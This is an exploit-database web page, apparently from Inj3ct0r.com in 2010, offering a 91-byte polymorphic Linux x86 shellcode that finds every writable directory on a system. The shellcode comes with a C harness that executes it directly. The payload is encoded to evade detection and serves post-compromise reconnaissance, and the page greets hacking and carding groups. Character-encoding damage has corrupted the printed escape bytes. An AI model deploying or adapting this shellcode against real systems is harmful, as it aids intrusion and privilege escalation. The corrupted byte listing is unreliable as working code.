<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>linux/x86 find all writeable folder in filesystem 91 bytes</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>==========================================================
linux/x86 find all writeable folder in filesystem 91 bytes
==========================================================

/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /’ __ /’__` / __ /’__` 0
0 /_, ___ /_/_ ___ ,_/ / _ ___ 1
1 /_/ /’ _ ` / /_/__&lt;_ /’___ / /`’__ 0
0 / / / / __/ _ _ / 1
1 _ _ __ ____/ ____\ __\ ____/ _ 0
0 /_//_//_/ _ /___/ /____/ /__/ /___/ /_/ 1
1 ____/ &gt;&gt; Exploit database separated by exploit 0
0 /___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Title : Find all writeable folder in filesystem linux polymorphic shellcode .
Name : 91 bytes Find all writeable folder in filesystem linux polymorphic shellcode .
Date : Sat Jun 17 21:27:03 2010
Author : gunslinger_ &lt;yudha.gunslinger[at]gmail.com&gt;
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org), loneferret (offensive-security.com)
greetzz to all devilzc0de, jasakom, yogyacarderlink, serverisdown, indonesianhacker and all my friend !!
*/

#include &lt;stdio.h&gt;

char shellcode[] = &quot;xebx11×5ex31xc9xb1×43x80×6cx0exffx35×80xe9×01&quot;
&quot;x75xf6xebx05xe8xeaxffxffxffx95×66xf5×66x07xe5&quot;
&quot;x40×87x9dxa3×64xa8×9dx9dx64×64x97×9exbex18×87&quot;
&quot;x9dx62×98x98×98xbex16×87x20×3cx86×88xbex16×02&quot;
&quot;xb5×96x1dx29×34x34×34x9bx9exa3×99x55×64x55×62&quot;
&quot;xa9xaexa5×9ax55×99x55×62xa5×9axa7xa2×55x6cx6c&quot;
&quot;x6c&quot;;

int main(void)
{
fprintf(stdout,&quot;Length: %dn&quot;,strlen(shellcode));
(*(void(*)()) shellcode)();
}

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-09]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13250